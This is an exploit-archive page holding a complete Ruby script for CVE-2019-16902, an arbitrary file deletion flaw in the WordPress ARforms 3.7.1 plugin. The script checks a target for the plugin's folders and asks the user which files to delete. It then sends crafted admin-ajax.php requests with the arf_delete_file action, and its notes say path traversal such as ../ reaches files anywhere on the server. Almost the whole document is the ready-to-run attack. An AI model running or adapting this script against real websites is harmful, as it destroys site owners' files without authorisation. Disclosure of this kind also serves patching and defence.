WordPress Plugin ARforms 3.7.1 - Arbitrary File Deletion



EKU-ID: 51550 CVE: CVE-2019-16902 OSVDB-ID:
Author: Ahmad Almorabea Published: 2019-09-30 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


#!/usr/bin/env ruby

# Exploit Title: WordPress Arforms - 3.7.1
# CVE ID: CVE-2019-16902
# Date: 2019-09-27
# Exploit Author: Ahmad Almorabea
# Author Website: http://almorabea.net
# Updated version of the exploit can be found always at : http://almorabea.net/cve-2019-16902.txt
# Software Link: https://www.arformsplugin.com/documentation/changelog/
# Version: 3.7.1

#**************Start Notes**************
# You can run the script by putting the script name and then the URL and the URL should have directory the Wordpress folders.
# Example : exploit.rb www.test.com, and the site should have the Wordpress folders in it such www.test.com/wp-contnet.
# Pay attention to the 3 numbers at the beginning maybe you need to change it in other types like in this script is 143.
# But maybe in other forms maybe it's different so you have to change it accordingly.
# This version of the software is applicable to path traversal attack so you can delete files if you knew the path such ../../ and so on
# There is a request file with this Script make sure to put it in the same folder.
#**************End Notes****************

require "net/http"
require 'colorize'

$host       = ARGV[0] || ""
$session_id = ARGV[1] || "3c0e9a7edfa6682cb891f1c3df8a33ad"



def start_function ()

  puts "It's a weird question to ask but let's start friendly I'm Arforms exploit, what's your name?".yellow
  name = STDIN.gets

  if $host == ""
      puts "What are you doing #{name} where is the URL so we can launch the attack, please pay more attention buddy".red
      exit
  end


  check_existence_arform_folder
  execute_deletion_attack

  puts "Done ... see ya  " + name

end


def send_checks(files_names)




  j = 1
  while j <= files_names.length-1

      uri = URI.parse("http://#{$host}/wp-content/uploads/arforms/userfiles/"+files_names[j])
      http = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS

      request = Net::HTTP::Get.new(uri.request_uri)
      request["User-Agent"] = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:39.0) Gecko/20100101 Firefox/39.0"
      request["Connection"] = "keep-alive"
      request["Accept-Language"] = "en-US,en;q=0.5"
      request["Accept-Encoding"] = "gzip, deflate"
      request["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"


      begin

        response = http.request(request).code
        puts "The File " + files_names[j] + " has the response code of " + response
      rescue Exception => e
        puts "[!] Failed!"
        puts e
      end
      j = j+1
  end
end


def check_existence_arform_folder ()



  path_array = ["/wp-plugins/arforms","/wp-content/uploads/arforms/userfiles"]
  $i = 0
  results = []

  while $i <= path_array.length-1

    uri = URI.parse("http://#{$host}/#{path_array[$i]}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'    # Enable HTTPS support if it's HTTPS
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    results[$i] = response.code
    #puts"response code is : " + response.code

    $i +=1

  end

  puts "****************************************************"

  if results[0] == "200" || results[0] =="301"

    puts "The Plugin is Available on the following path : ".green + $host + path_array[0]
  else
    puts "We couldn't locate the Plugin in this path, you either change the path or we can't perform the attack, Simple Huh?".red
    exit
  end

  if (results[1] == "200" || results[1] == "301")

      puts "The User Files  folder is  Available on the following path : ".green + $host + path_array[1]
  else

     puts "We couldn't find the User Files folder, on the following path ".red +  $host + path_array[1]

  end
  puts "****************************************************"



end


def execute_deletion_attack ()



    puts "How many file you want to delete my man"
    amount = STDIN.gets.chomp.to_i

    if(amount == 0)
      puts "You can't use 0 or  other strings this input for the amount of file you want to delete so it's an Integer".blue
      exit
    end

    file_names = []
    file_names[0] = "143_772_1569713145702_temp3.txt"
    j = 1
   while j <= amount.to_i
      puts "Name of the file number " + j.to_s
      file_names[j] = STDIN.gets
      file_names[j].strip!
      j = j+1
    end


    uri = URI.parse("http://#{$host}")
    #puts uri
    http = Net::HTTP.new(uri.host, uri.port)
    http.use_ssl = true if uri.scheme == 'https'
    request = Net::HTTP::Get.new(uri.request_uri)
    response = http.request(request)
    global_cookie = response.response['set-cookie'] + "; PHPSESSID="+$session_id #Assign the session cookie




    $i = 0
    while $i <= file_names.length-1

    puts "Starting the Attack Journey .. ".green

      uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
      headers =
      {
         'Referer'         => 'From The Sky',
         'User-Agent'      => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
         'Content-Type'    => 'multipart/form-data; boundary=---------------------------14195989911851978808724573615',
         'Accept-Encoding' => 'gzip, deflate',
         'Cookie'          => global_cookie,
         'X_FILENAME'      => file_names[$i],
         'X-FILENAME'      => file_names[$i],
         'Connection'      => 'close'

       }

      http    = Net::HTTP.new(uri.host, uri.port)
      http.use_ssl = true if uri.scheme == 'https'
      request = Net::HTTP::Post.new(uri.path, headers)
      request.body = File.read("post_file")
      response = http.request request

      $i = $i +1
  end

    execute_delete_request file_names,global_cookie,amount.to_i

    puts "Finished.........."

end

def execute_delete_request (file_names,cookies,rounds )


    $i = 0

    while $i <= file_names.length-1

    puts "Starting the Attack on file No #{$i.to_s} ".green

        uri = URI.parse("http://#{$host}/wp-admin/admin-ajax.php")
        headers =
        {
           'Referer'         => 'From The Sky',
           'User-Agent'      => 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
           'Accept'          => '*/*',
           'Accept-Language' => 'en-US,en;q=0.5',
           'X-Requested-With'=> 'XMLHttpRequest',
           'Cookie'          =>  cookies,
           'Content-Type'    => 'application/x-www-form-urlencoded; charset=UTF-8',
           'Accept-Encoding' => 'gzip, deflate',
           'Connection'      => 'close'
        }

        http    = Net::HTTP.new(uri.host, uri.port)
        http.use_ssl = true if uri.scheme == 'https'
        request = Net::HTTP::Post.new(uri.path,headers)
        request.body = "action=arf_delete_file&file_name="+file_names[$i]+"&form_id=143"
        response = http.request(request)

        if $i != 0
          puts "File Name requested to delete is : " + file_names[$i] + " has the Response Code of " + response.code
        end
         $i = $i +1

    end

    send_checks file_names

end


start_function()